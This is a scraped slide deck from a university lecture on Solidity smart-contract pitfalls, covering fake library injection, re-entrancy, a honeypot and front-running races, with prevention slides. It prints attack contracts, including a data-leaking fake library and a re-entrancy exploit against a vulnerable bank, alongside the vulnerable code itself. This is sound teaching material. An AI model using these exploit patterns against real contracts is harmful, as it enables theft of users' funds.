Download presentation
Presentation is loading. Please wait.
1
Solidity Pitfalls and Hazards
(Part Three) CS1951 L Spring 2019 28 February 2019 Maurice Herlihy Brown University
2
External Contract References
Today’s Pitfalls: External Contract References Race Conditions
3
External Contract Reference Attack
Contract addresses are untyped You might not be calling the contract you think
4
Simple Encryption Library
Example contract EncryptionContract { Rot13Encryption encryptionLibrary; constructor( Rot13Encryption _encryptionLibrary) { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string data) { … encryptionLibrary.rot13Encrypt(data); Simple Encryption Library
5
Example contract EncryptionContract {
Rot13Encryption encryptionLibrary; constructor( Rot13Encryption _encryptionLibrary) { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string data) { … encryptionLibrary.rot13Encrypt(data); encryption library address
6
Example contract EncryptionContract {
Rot13Encryption encryptionLibrary; constructor( Rot13Encryption _encryptionLibrary) { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string data) { … encryptionLibrary.rot13Encrypt(data); library address passed in by constructor
7
Example contract EncryptionContract {
Rot13Encryption encryptionLibrary; constructor( Rot13Encryption _encryptionLibrary) { encryptionLibrary = _encryptionLibrary; } function encryptPrivateData(string data) { … encryptionLibrary.rot13Encrypt(data); library address called by function
8
Adversary’s Encryption Library
contract FakeEncryption{ event Print(string text); function rot13Encrypt(string text) public { emit Print(text); } Fake Library that Leaks Sensitive Data
9
Adversary’s Deployment
contract EvilDriver { FakeEncryption fake = new FakeEncryption(); EncryptionContract eContract = new EncryptionContract( Rot13Encryption(address(fake))); }
10
Adversary’s Deployment
contract EvilDriver { FakeEncryption fake = new FakeEncryption(); EncryptionContract eContract = new EncryptionContract( Rot13Encryption(address(fake))); } Create fake encryption library
11
Adversary’s Deployment
contract EvilDriver { FakeEncryption fake = new FakeEncryption(); EncryptionContract eContract = new EncryptionContract( Rot13Encryption(address(fake))); } Cast fake library type to real library type Solidity’s feeble type system no match for Evil!
12
Adversary’s Deployment
contract EvilDriver { FakeEncryption fake = new FakeEncryption(); EncryptionContract eContract = new EncryptionContract( Rot13Encryption(address(fake))); } Initialize contract with fake encryption library All your secrets are now belong to us!
13
True Story from Reddit “While randomly browsing some contracts on Etherscan, I stumbled on this contract”
14
Also vanilla logging library, not shown
contract Private_Bank { mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { … } function Deposit() public payable { function withdraw(uint _am) { Simple Bank Also vanilla logging library, not shown
15
contract Private_Bank {
mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { … } function Deposit() public payable { function withdraw(uint _am) { depositors’ balances
16
contract Private_Bank {
mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { … } function Deposit() public payable { function withdraw(uint _am) { minimum deposit
17
contract Private_Bank {
mapping (address => uint) public balances; uint public MinDeposit = 1 ether; Log TransferLog; function Private_Bank(address _log) { … } function Deposit() public payable { function withdraw(uint _am) { library to format log of events
18
contract Private_Bank {
… function Private_Bank(address _log) { TransferLog = Log(_log); } constructor initializes logging library
19
contract Private_Bank {
… function Deposit() public payable { if (msg.value >= MinDeposit) { balances[msg.sender]+=msg.value; TransferLog.AddMessage( msg.sender, msg.value, "Deposit"); } Deposit tracks value, logs deposit
20
contract Private_Bank {
… function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage( msg.sender, _am, "withdraw"); } withdraw checks balance, sends ETH, updates balance, … oh, wait …
21
Re-entrancy vulnerability!!!
contract Private_Bank { … function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage( msg.sender, _am, "withdraw"); } Re-entrancy vulnerability!!!
22
“I can have some fun and try out this hack, and give the funds back to the contract creator later.”
True Story from Reddit
23
“There's 1 ETH in there, so it should be a fun challenge, maybe do a victorious blog post later”
True Story from Reddit
24
contract Exploit { function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) {
25
contract Exploit { function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { Deposit ether so we have something to withdraw
26
contract Exploit { function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { Withdraw, exploiting re-entrancy vulnerability
27
contract Exploit { function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { Keep going, until we have 2 ether
28
“It didn't work. The ETH got stuck in his contract
“It didn't work! The ETH got stuck in his contract. … What's funny is that … the ETH was transferred to his contract, then two transfers … to my exploit contract, however it didn't get anything…” True Story from Reddit
29
Honey Pot
30
contract Private_Bank {
… function Private_Bank(address _log) { TransferLog = Log(_log); } constructor initializes logging library
31
But not that library! contract Private_Bank { …
function Private_Bank(address _log) { TransferLog = Log(_log); } constructor initializes logging library But not that library!
32
contract HoneyPotLogLOL {
… function AddMessage(address _adr, uint _val, string _data) public { if (_data == “withdraw” && msg.sender != owner) { revert(); }
33
contract HoneyPotLogLOL {
… function AddMessage(address _adr, uint _val, string _data) public { if (_data == “withdraw” && msg.sender != owner) { revert(); } Non-owner wants to cash out? BOOM, revert!
34
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); }
35
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } First withdrawal function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}
36
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} Balance good
37
ETH to fallback function
function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}
38
re-entrant withdraw call
function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } re-entrant withdraw call function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}
39
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } call returns function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}
40
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } re-entrancy ends function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}
41
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} call returns
42
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} reverts, undoes transfer
43
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } function () public payable if (this.balance < 2 ether) { target.withdraw(1 ether); } reverts function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}
44
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } call does not propagate revert, just returns false function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}}
45
function tryIt() public payable {
target.deposit.value(1 ether)(); target.withdraw(1 ether); } function withdraw(uint _am) { if (_am<=balances[msg.sender]) { if (msg.sender.call.value(_am)()) { balances[msg.sender]-=_am; TransferLog.AddMessage(…); }}} test fails, no transfer, returns
46
transaction completes but nothing transferred!
function tryIt() public payable { target.deposit.value(1 ether)(); target.withdraw(1 ether); } transaction completes “successfully”, but nothing transferred!
47
Prevention constructor() { encryptionLibrary =
new Rot13Encryption(); } Use new to create contracts
48
Prevention address constant Rot13Encryption =
0xcafecafecafecafecafecafecafe…; Hardcode Addresses when Possible
49
This Happened
50
Race Conditions Miners choose transaction order based on gasPrice
Attacker can monitor pool and contract state … and insert transactions in block before victim’s
51
“Find This Hash” Game contract FindThisHash {
contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } “Find This Hash” Game contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} function solve(string solution) public { require(hash == sha3(solution)); msg.sender.transfer(1000 ether); }
52
“Find This Hash” Game contract FindThisHash {
contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } “Find This Hash” Game contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} function solve(string solution) public { require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } Load with ether
53
“Find This Hash” Game contract FindThisHash {
contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} // load with ether function solve(string solution) public { // If you can find the pre image of the hash, receive 1000 ether require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } } “Find This Hash” Game contract FindThisHash { bytes32 constant public hash = 0xb5b5b97fafd9855eec9b41f74dfb6c38f f9a3ecd7f44d5479b630ee0a; constructor() public payable {} function solve(string solution) public { require(hash == sha3(solution)); msg.sender.transfer(1000 ether); } Earn 1000 ether if you can find preimage of hash
54
Alice realizes solution is “Ethereum!”
She calls FTHContract.solve(“Ethereum!”) Bob sees her transaction, validates answer, and resubmits with much higher gasPrice Most likely, miners will order Bob’s transaction before Alice’s
55
Prevention Contracts can put upper bound on gasPrice
Does not protect against abuse by miners
56
Prevention Parties use commit-reveal scheme Commit to bid with hash
After transaction complete, reveal hash preimage Prevents both miners and users from frontrunning Does not hide transaction value
57
This Happened Standard for tradeable tokens Widely used for ICOs
Market cap about $40 Billion
58
I am willing to allow this party …
… to withdraw this amount … … from my account.
59
Alice authorizes Bob to withdraw $100 Alice Bob miner
60
Alice authorizes Bob to withdraw $100 Alice miner Bob I am Bob’s
secret friend miner
61
adversarial scheduler
Alice authorizes Bob to withdraw $100 Alice Bob Think of me as an adversarial scheduler miner
62
Miner, please change Bob’s
authorization to $50 Alice authorizes Bob to withdraw $100 Alice !!! !!! Bob miner
63
Miner, please authorize Bob for $50
Alice authorizes Bob to withdraw $100 Miner, please authorize Bob for $50 Bob withdraws $100 Alice Heh-heh… Heh-heh… Bob miner
64
Miner, please authorize Bob for $50
Alice authorizes Bob to withdraw $100 Miner, please authorize Bob for $50 Bob withdraws $100 Alice Alice authorizes Bob to withdraw $50 Got $100 Bob miner
65
Miner, please authorize Bob for $50
Alice authorizes Bob to withdraw $100 Miner, please authorize Bob for $50 Bob withdraws $100 Alice Alice authorizes Bob to withdraw $50 Bob withdraws $50 Got $150 Bob miner
66
Problem is non-atomic “read then write”
67
One fix is to turn approve into a “compare-and-swap-like” operation
68
External Contract References
Ideas we covered in this lecture External Contract References Race Conditions
Similar presentations
© 2025 SlidePlayer.com. Inc.
All rights reserved.